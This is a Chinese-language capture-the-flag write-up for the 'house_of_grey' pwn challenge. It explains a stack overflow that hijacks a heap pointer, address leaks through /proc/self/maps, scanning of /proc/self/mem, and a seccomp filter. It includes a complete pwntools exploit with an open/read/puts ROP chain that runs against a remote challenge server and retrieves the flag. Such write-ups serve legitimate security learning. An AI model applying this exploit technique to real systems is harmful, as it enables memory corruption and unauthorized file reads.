解题思路
文章目录
检查保护机制
healer@healer-virtual-machine:~/Desktop/house_of_grey$ readelf -h house_of_grey ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xc60
Start of program headers: 64 (bytes into file)
Start of section headers: 12592 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 26
Section header string table index: 25
healer@healer-virtual-machine:~/Desktop/house_of_grey$ checksec house_of_grey
[*] '/home/healer/Desktop/house_of_grey/house_of_grey'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞利用分析
healer@healer-virtual-machine:~/Desktop/house_of_grey$ ./house_of_grey
Welcome to my house! Enjoy yourself!
Do you want to help me build my room? Y/n?
y
You get into my room. Just find something!
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
1
So man, what are you finding?
aws # 我自己放的一个本地的不含flag字符的flag文件
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
2
So, Where are you?
0
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
3
How many things do you want to get?
30
You get something:
flag{Congratulations!!!}
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
5
Build finished! Thanks a lot!
简单执行了一下这个程序发现其实是一个读区当前路径下的一个文件然后可以指定从哪里开始读写,之后将结果输出,但是名字里面不能有flag字符
C语言lseek()函数:移动文件的读写位置
相关函数:dup, open, fseek
头文件:#include <sys/types.h> #include <unistd.h>
定义函数:off_t lseek(int fildes, off_t offset, int whence);
函数说明:
每一个已打开的文件都有一个读写位置, 当打开文件时通常其读写位置是指向文件开头, 若是以附加的方式打开文件(如O_APPEND), 则读写位置会指向文件尾. 当read()或write()时, 读写位置会随之增加,lseek()便是用来控制该文件的读写位置. 参数fildes 为已打开的文件描述词, 参数offset 为根据参数whence来移动读写位置的位移数.
参数 whence 为下列其中一种:
SEEK_SET 参数offset 即为新的读写位置.
SEEK_CUR 以目前的读写位置往后增加offset 个位移量.
SEEK_END 将读写位置指向文件尾后再增加offset 个位移量. 当whence 值为SEEK_CUR 或
SEEK_END 时, 参数offet 允许负值的出现.
下列是教特别的使用方式:
1) 欲将读写位置移到文件开头时:lseek(int fildes, 0, SEEK_SET);
2) 欲将读写位置移到文件尾时:lseek(int fildes, 0, SEEK_END);
3) 想要取得目前文件位置时:lseek(int fildes, 0, SEEK_CUR);
返回值:当调用成功时则返回目前的读写位置, 也就是距离文件开头多少个字节. 若有错误则返回-1, errno 会存放错误代码.
漏洞点
void __fastcall fn(void *arg)
{
unsigned __int64 offset; // ST28_8
int fd; // [rsp+10h] [rbp-70h]
signed int i; // [rsp+14h] [rbp-6Ch]
int length; // [rsp+1Ch] [rbp-64h]
int v5; // [rsp+1Ch] [rbp-64h]
void *heap; // [rsp+20h] [rbp-60h]
char buf[24]; // [rsp+30h] [rbp-50h] # 此处缓冲区大小只有0x16大小
void *heap_ptr; // [rsp+48h] [rbp-38h]
char nptr; // [rsp+50h] [rbp-30h]
unsigned __int64 v10; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]
v10 = __readfsqword(0x28u);
puts("You get into my room. Just find something!\n");
heap = malloc(0x186A0uLL);
if ( !heap )
{
perror("malloc");
exit(1);
}
if ( (unsigned int)sub_14D2() )
exit(1);
heap_ptr = heap;
for ( i = 0; i <= 29; ++i )
{
choose_FEE();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("So man, what are you finding?");
buf[(signed int)((unsigned __int64)read(0, buf, 0x28uLL) - 1)] = 0;
// 上面这里可以向缓冲区写入0x28个字节的数据
if ( (unsigned int)sub_FA6(buf) )
{
puts("Man, don't do it! See you^.");
exit(1);
}
fd = open(buf, 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
return;
case 2u:
puts("So, Where are you?");
read(0, &nptr, 0x20uLL);
offset = strtoull(&nptr, 0LL, 10);
lseek(fd, offset, 0);
break;
case 3u:
puts("How many things do you want to get?");
read(0, &nptr, 8uLL); // 读区用户的输入字符
length = atoi(&nptr); // 将支字符转换为数值
if ( length <= 100000 )
{
v5 = read(fd, heap_ptr, length); // 读取fd指向的文件处的length长度的数据,写入heap_ptr,即原来的v8处
if ( v5 < 0 )
{
puts("error read");
perror("read");
exit(1);
}
puts("You get something:");
write(1, heap_ptr, v5); // 将之前写入的数据读出至stdout,即打印这部分内容
}
else
{
puts("You greedy man!");
}
break;
case 4u:
puts("What do you want to give me?");
puts("content: ");
read(0, heap_ptr, 0x200uLL);
// 此处可以写入数据,而heap_str指针可以被buf缓冲区的溢出覆盖掉,即可实现地址任意写
break;
case 5u:
exit(0);
return;
default:
continue;
}
}
puts("\nI guess you don't want to say Goodbye!");
puts("But sadly, bye! Hope you come again!\n");
exit(0);
}
栈帧空间布局如下:
-0000000000000058 offset dq ?
-0000000000000050 buf db 24 dup(?) # buf缓冲区下方就是heap_str指针
-0000000000000038 heap_ptr dq ? ; offset
-0000000000000030 nptr db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
脚本验证:
io.recvuntil("my room? Y/n?")
io.sendline("Y")
payload = b"aws" + b"\x00"*5 + b"b"*16 + p64(0xdeadbeef)
find_something(payload)
pwndbg>
Continuing.
Thread 2 hit Breakpoint 4, 0x00005555555552bb in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX 0xdeadbeef
RBX 0x0
*RCX 0x7ffff7b04380 (__write_nocancel+7) ◂— cmp rax, -0xfff
*RDX 0x200
*RDI 0x0
*RSI 0xdeadbeef
*R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
···
*RIP 0x5555555552bb ◂— call 0x555555554ba0
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
► 0x5555555552bb call read@plt <read@plt>
fd: 0x0
buf: 0xdeadbeef # 通过功能4可以向此劫持的指针指向的位置写入任意值
nbytes: 0x200
···
0x5555555552de lea rdi, [rip + 0x7b3]
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffe816df50 ◂— 0x0
... ↓
···
06:0030│ 0x7fffe816df80 ◂— 0x737761 /* 'aws' */
07:0038│ 0x7fffe816df88 ◂— 0x6262626262626262 ('bbbbbbbb')
虽然现在可以实现任意地址写,但是程序的保护全开,现在不知道内存地址,无法下个有效的位置写入正确的值
参考大佬的姿势:
Linux
内核提供了一种通过 /proc
文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc
文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps
可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem
是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps
的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
程序的/proc/self/maps
文件可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
1
So man, what are you finding?
/proc/self/maps
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
2
So, Where are you?
0
1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit
3
How many things do you want to get?
10000
You get something:
555555554000-555555556000 r-xp 00000000 08:01 1052971 /home/healer/Desktop/house_of_grey/house_of_grey
555555756000-555555757000 r--p 00002000 08:01 1052971 /home/healer/Desktop/house_of_grey/house_of_grey
555555757000-555555758000 rw-p 00003000 08:01 1052971 /home/healer/Desktop/house_of_grey/house_of_grey
555555758000-555555791000 rw-p 00000000 00:00 0 [heap]
7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555556000 r-xp 2000 0 /home/healer/Desktop/house_of_grey/house_of_grey
0x555555756000 0x555555757000 r--p 1000 2000 /home/healer/Desktop/house_of_grey/house_of_grey
0x555555757000 0x555555758000 rw-p 1000 3000 /home/healer/Desktop/house_of_grey/house_of_grey
0x555555758000 0x555555791000 rw-p 39000 0 [heap]
0x7fffe7a0d000 0x7ffff7a0d000 rw-p 10000000 0
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
关于seccomp
(Sandbox的安全机制)
也是通过这个题,知道了这个检测方法,可以快速判断程序是否可以
getshell
什么是seccomp
seccomp(全称 secure computing mode)是linux kernel从2.6.23版本开始所支持的一种安全机制。
seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的。
比如劫持程序流后通过execve的syscall来getshell。
通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.
通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一种“安全”的状态。
详细介绍可参考seccomp内核文档(见参考链接)。
如何使用seccomp
seccomp可以通过系统调用ptrctl(2)或者通过系统调用seccomp(2)开启,前提是内核配置中开启了CONFIG_SECCOMP和CONFIG_SECCOMP_FILTER。
seccomp支持两种模式:SECCOMP_MODE_STRICT 和 SECCOMP_MODE_FILTER。
在SECCOMP_MODE_STRICT模式下,进程不能使用read(2)、write(2)、_exit(2)和sigreturn(2)以外的其他系统调用。
在SECCOMP_MODE_FILTER模式下,可以利用BerkeleyPacket Filter配置哪些系统调用及它们的参数可以被进程使用。
如何查看程序是否开启了seccomp保护机制
安装方法,CTF中常用的方法
sudo apt install gcc ruby-dev
gem install seccomp-tools
运行方法,已此题为例,通过安装的工具查看程序的保护情况
healer@ubuntu:~/Desktop$ seccomp-tools dump ./house_of_grey
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000208 if (A != 0x208) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x40000208 if (A != 0x40000208) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Ubuntu16.04下安装时ruby版本不够,kali下安装gem找不到安装包
下面是主函数关键部分的分析详见部分注释
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+1Bh] [rbp-25h]
int stat_loc; // [rsp+1Ch] [rbp-24h]
int fd; // [rsp+20h] [rbp-20h]
__pid_t pid; // [rsp+24h] [rbp-1Ch]
__int64 v7; // [rsp+28h] [rbp-18h]
char *v8; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
init_F35();
puts("Welcome to my house! Enjoy yourself!\n");
puts("Do you want to help me build my room? Y/n?");
read(0, &buf, 4uLL);
if ( buf == 'y' || buf == 'Y' )
{
fd = open("/dev/urandom", 0, a2); // fd指向随机数文件
if ( fd < 0 )
{
perror("open");
exit(1);
}
read(fd, &v7, 8uLL); //读区8个字节的数据到v7
close(fd); // 关闭随机文件
v7 &= 0xFFFFF0u; // 地位置0,地址对其,页对齐
v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 0x20022, -1, 0LL); // mmap获取内存区域
// v8指向内存映射区域的起始位置
if ( v8 == (char *)-1LL )
{
perror("mmap");
exit(1);
}
pid = clone((int (*)(void *))fn, &v8[v7], 0x100, 0LL); // 克隆进程,并且映射到刚才mmap申请到的内存区域
// 相当于是在刚才0x10000000大小的空间内按照v7的随机位置映射子进程的堆栈信息
if ( pid == -1 )
{
perror("clone");
exit(1);
}
waitpid(pid, &stat_loc, 0x80000000);
if ( stat_loc & 0x7F )
puts("\nMaybe something wrong? Build failed!");
else
puts("\nBuild finished! Thanks a lot!");
exit(0);
}
puts("You don't help me? OK, just get out of my hosue!");
exit(0);
}
利用思路整理
相当于在内存空间中通过mmap
函数分配到一大块内存,然后再将fn
函数随机映射到这片内存,结合前面的能够获取得到/proc/self/maps
,也可以泄漏出fn
函数映射的内存的信息。通过/proc/self/maps
可以将映射区域的起始地址找到,通过功能2设置文件结构体读取文件的偏移指针,通过设置文件指针的起始位置加上功能3的读取和打印,可以将/proc/self/mem
处的内存逐渐遍历,但是不能完全查看,因为程序映射的区域大小是0x10000000uLL
,然而每次只能打印100000
(0x186a0
)个字节的数据,fn
函数只能运行30次,在实际泄漏内存之前和之后的准备工作与执行流控制需要占用几次,所以大概有20几次的循环可以泄漏大约0x186a0*24
大小的空间,所以脚本不是每次执行都能够成功,程序又不能执行shellcode
直接拿到shell
,所以考虑通过open
函数,读取flag
文件在利用put
函数将结果输出,结合前面的v8
指针可以通过功能1的buf
数组写入溢出覆盖,劫持到我们想指向的地方,再通过功能4可以向v8
指向的地方写入任意内容,即可以找到某个函数的返回值写入一段ROP
然后获取到flag
文件的内容,第一反应是劫持fn
函数的返回地址,但是由于fn
函数的退出并不会返回,逆向分析即可看出,最终是通过exit(0)
退出的,这样部署的ROP
就不会执行,再考虑其他地方的函数的返回地址劫持只能是fn
函数内所调用的函数,直接使用功能4的read
函数的返回地址作为劫持目标最合适,其余的地方因为要通过功能4去写入,然后再执行过去之后在执行函数之前栈空间布局会被正常调整,无法执行到ROP
上,所以其实就是利用read
函数自身,在其调用之后返回地址已经写入栈空间,才读取输入的内容的这一特点,让read
函数在自己的返回地址处写入ROP
,这样在read
函数执行完毕便会立刻执行ROP
,进而将flag
内容展示出来
healer@healer-virtual-machine:~/Desktop/house_of_grey$ ROPgadget --binary house_of_grey --only "pop|ret"
Gadgets information
============================================================
0x000000000000181c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000181e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001820 : pop r14 ; pop r15 ; ret
0x0000000000001822 : pop r15 ; ret
0x000000000000181b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000181f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000cc0 : pop rbp ; ret
0x0000000000001823 : pop rdi ; ret
0x0000000000001821 : pop rsi ; pop r15 ; ret
0x000000000000181d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000ad6 : ret
0x0000000000000bb2 : ret 0x2023
0x000000000000145d : ret 0x2be
0x000000000000139d : ret 0xc600
Unique gadgets found: 14
解题脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']
io = remote("111.200.241.244",55591)
# io = process("./house_of_grey")
elf = ELF("./house_of_grey")
context(arch = "amd64", os = 'linux')
def find_something(payload):
io.recvuntil("5.Exit")
io.sendline("1")
io.recvuntil("So man, what are you finding?")
io.send(payload)
def locate_yourself(strindex):
io.recvuntil("5.Exit")
io.sendline("2")
io.recvuntil("So, Where are you?")
io.send(str(strindex))
def get_something(length):
io.recvuntil("5.Exit")
io.sendline("3")
io.recvuntil("How many things do you want to get?")
io.send(length)
def give_something(content):
io.recvuntil("5.Exit")
io.sendline("4")
io.recvuntil("content:")
io.send(content)
# gdb.attach(io,"b * $rebase(0x1161)\nb * $rebase(0x11a6)\nb * $rebase(0x128b)\nb * $rebase(0x12bb)\nb * $rebase(0x1115)\nb * $rebase(0x123d)")
io.recvuntil("my room? Y/n?")
io.sendline("Y")
payload = b"/proc/self/maps\x00"
find_something(payload)
get_something(b"100000")
io.recvuntil("You get something:\n")
elf_load_addr = io.recvline() # 此处开始会收到pwndbg中的vmmap命令的相关信息
# print(b"elf_load_addr - > "+elf_load_addr)
elf_load_addr = str(elf_load_addr).split(" ")
elf_load_addr = int(elf_load_addr[0].split("-")[0][2:], 16)
log.success("elf_load_addr - > "+hex(elf_load_addr)) # 第一行获取elf文件加载的地址
io.recvline()
io.recvline()
io.recvline()
mmap_addr = io.recvline()
mmap_addr = str(mmap_addr).split(" ")
mmap_addr = int(mmap_addr[0].split("-")[0][2:], 16) # 第五行获取mmap函数申请的内存区域
log.success("mmap_addr - > "+hex(mmap_addr))
libc_addr = io.recvline()
libc_addr = str(libc_addr).split(" ")
libc_addr = int(libc_addr[0].split("-")[0][2:], 16) # 第六行是获取libc加载地址
log.success("libc_addr - > "+hex(libc_addr))
payload = b"/proc/self/mem\x00\x00" # 此处结尾多的两个字节\x00是由于在调试时发现不加这两个字节会导致文件名丢失最后一mem的m字符,也可以是一个字节的\x00
find_something(payload)
locate_yourself(mmap_addr) # 此处将文件便宜只想mmap映射的内存区域的开始处
for i in range(24): # 通过循环遍历内存区域,试图读到上面的这个payload字符串
get_something(b'100000\x00\x00') # 此处的数值一般直接输入100000就OK,
# 但是实际调试的时候我遇到情况这里数值写入的地址有前一个mmap_addr地址的部分内容,
# 100000写进去之后并未完整写满一个机器长度的数据,即未满8个字节,
# 然后在后面的atoi函数执行的时候会把原来这块内存的两个字节的数据和新输入的100000结合,
# 转成一个数值,这样导致源程序判断读取大小的地方会报错,
# 因为错误的数据会被解析称为一个超级大的数值,我也是很无奈,其他大佬的没有这个情况
# 此处差点儿让我放弃这个题,因为咋都不往正确的分支里面走,最后在结尾加了两个字节的0x00,
# 才使得atoi函数转换得到我们想要的数值100000.
io.recvuntil("You get something:")
mem = io.recvuntil(b'1.Find', drop = True) # 此处获取泄漏出来的一大块内存内容
log.info("This is the {} times".format(i))
if b"/proc/self/mem" in mem: # 判断是否包含字符串,可以确定这里就是fn函数的堆栈空间随机映射的位置
buf_nouse_part = mem.split(b"/proc/self/mem")[0] # 此处是字符串之前的那一部分
v8_addr = mmap_addr + i*100000 + len(buf_nouse_part) -1 # 此处是直接通过加载的真实地址获取得到v8的偏移地址,最后的减1是调试时发现数据存在一个字节的偏移,获取到的地址值没有8字节对齐,这样后面写入的内容已存在错位,导致无法正常读写
ret_addr = v8_addr - 0x38 # 此处的返回地址就是fn函数栈帧顶部的上面的那个位置,此位置就是在执行read函数的跳转的时候写入返回地址的位置
break
if i == 23:
log.info("Try Again!!!")
exit(0)
payload = b"/proc/self/mem".ljust(0x18, b'\x00') + p64(ret_addr)
find_something(payload) # 此处使用前面获取得到的返回地址劫持v8指针,使得v8指向fn函数栈帧顶-8的地址
# pause()
log.success("v8_addr - > "+hex(v8_addr))
log.success("ret_addr - > "+hex(ret_addr))
open_plt = elf.plt["open"] + elf_load_addr
log.success("open_plt - > "+hex(open_plt))
puts_plt = elf.plt["puts"] + elf_load_addr
log.success("puts_plt - > "+hex(puts_plt))
read_plt = elf.plt["read"] + elf_load_addr
log.success("read_plt - > "+hex(read_plt))
pop_rdi = 0x0000000000001823 + elf_load_addr
pop_rsi_r15 = 0x0000000000001821 + elf_load_addr
flag_addr = ret_addr + 8*15 # 此处的flag地址就是下面的ROP链中最后的那个字符串,偏移8*15就是那个字符串前面的15个p64()
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open_plt)
payload += p64(pop_rdi) + p64(6) + p64(pop_rsi_r15) + p64(flag_addr) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(flag_addr) + p64(puts_plt)
payload += b'/home/ctf/flag\x00' # real flag address flag_addr
give_something(payload)
io.interactive()
执行结果
本地shell
[*] Paused (press any to continue)
[+] v8_addr - > 0x7fffe7aa03c0
[+] ret_addr - > 0x7fffe7aa0388
[+] open_plt - > 0x555555554c00
[+] puts_plt - > 0x555555554b00
[+] read_plt - > 0x555555554ba0
[DEBUG] Received 0x50 bytes:
b'\n'
b'1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit\n'
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0x27 bytes:
b'What do you want to give me?\n'
b'content: \n'
[DEBUG] Sent 0x87 bytes:
00000000 23 58 55 55 55 55 00 00 00 04 aa e7 ff 7f 00 00 │#XUU│UU··│····│····│
00000010 21 58 55 55 55 55 00 00 00 00 00 00 00 00 00 00 │!XUU│UU··│····│····│
00000020 00 00 00 00 00 00 00 00 00 4c 55 55 55 55 00 00 │····│····│·LUU│UU··│
00000030 23 58 55 55 55 55 00 00 06 00 00 00 00 00 00 00 │#XUU│UU··│····│····│
00000040 21 58 55 55 55 55 00 00 00 04 aa e7 ff 7f 00 00 │!XUU│UU··│····│····│
00000050 00 00 00 00 00 00 00 00 a0 4b 55 55 55 55 00 00 │····│····│·KUU│UU··│
00000060 23 58 55 55 55 55 00 00 00 04 aa e7 ff 7f 00 00 │#XUU│UU··│····│····│
00000070 00 4b 55 55 55 55 00 00 2f 68 6f 6d 65 2f 63 74 │·KUU│UU··│/hom│e/ct│
00000080 66 2f 66 6c 61 67 00 │f/fl│ag·│
00000087
[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
b'flag{Congratulations}\n'
b'\n'
flag{Congratulations}
远程shell
[*] This is the 10 times
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x1d bytes:
b'So man, what are you finding?'
[DEBUG] Sent 0x20 bytes:
00000000 2f 70 72 6f 63 2f 73 65 6c 66 2f 6d 65 6d 00 00 │/pro│c/se│lf/m│em··│
00000010 00 00 00 00 00 00 00 00 d8 c3 c9 b5 1c 7f 00 00 │····│····│····│····│
00000020
[+] v8_addr - > 0x7f1cb5c9c410
[+] ret_addr - > 0x7f1cb5c9c3d8
[+] open_plt - > 0x55a57df16c00
[+] puts_plt - > 0x55a57df16b00
[+] read_plt - > 0x55a57df16ba0
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x50 bytes:
b'\n'
b'1.Find something 2.Locate yourself 3.Get something 4.Give something 5.Exit\n'
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0x1c bytes:
b'What do you want to give me?'
[DEBUG] Received 0xb bytes:
b'\n'
b'content: \n'
[DEBUG] Sent 0x87 bytes:
00000000 23 78 f1 7d a5 55 00 00 50 c4 c9 b5 1c 7f 00 00 │#x·}│·U··│P···│····│
00000010 21 78 f1 7d a5 55 00 00 00 00 00 00 00 00 00 00 │!x·}│·U··│····│····│
00000020 00 00 00 00 00 00 00 00 00 6c f1 7d a5 55 00 00 │····│····│·l·}│·U··│
00000030 23 78 f1 7d a5 55 00 00 06 00 00 00 00 00 00 00 │#x·}│·U··│····│····│
00000040 21 78 f1 7d a5 55 00 00 50 c4 c9 b5 1c 7f 00 00 │!x·}│·U··│P···│····│
00000050 00 00 00 00 00 00 00 00 a0 6b f1 7d a5 55 00 00 │····│····│·k·}│·U··│
00000060 23 78 f1 7d a5 55 00 00 50 c4 c9 b5 1c 7f 00 00 │#x·}│·U··│P···│····│
00000070 00 6b f1 7d a5 55 00 00 2f 68 6f 6d 65 2f 63 74 │·k·}│·U··│/hom│e/ct│
00000080 66 2f 66 6c 61 67 00 │f/fl│ag·│
00000087
[*] Switching to interactive mode
[DEBUG] Received 0x2d bytes:
b'cyberpeace{4a030269e12******************f354b087}\n'
cyberpeace{4a030269e12******************f354b087}
[DEBUG] Received 0x41 bytes:
b'\n'
b'/home/ctf/run.sh: line 2: 112 Segmentation fault ./house\n'
/home/ctf/run.sh: line 2: 112 Segmentation fault ./house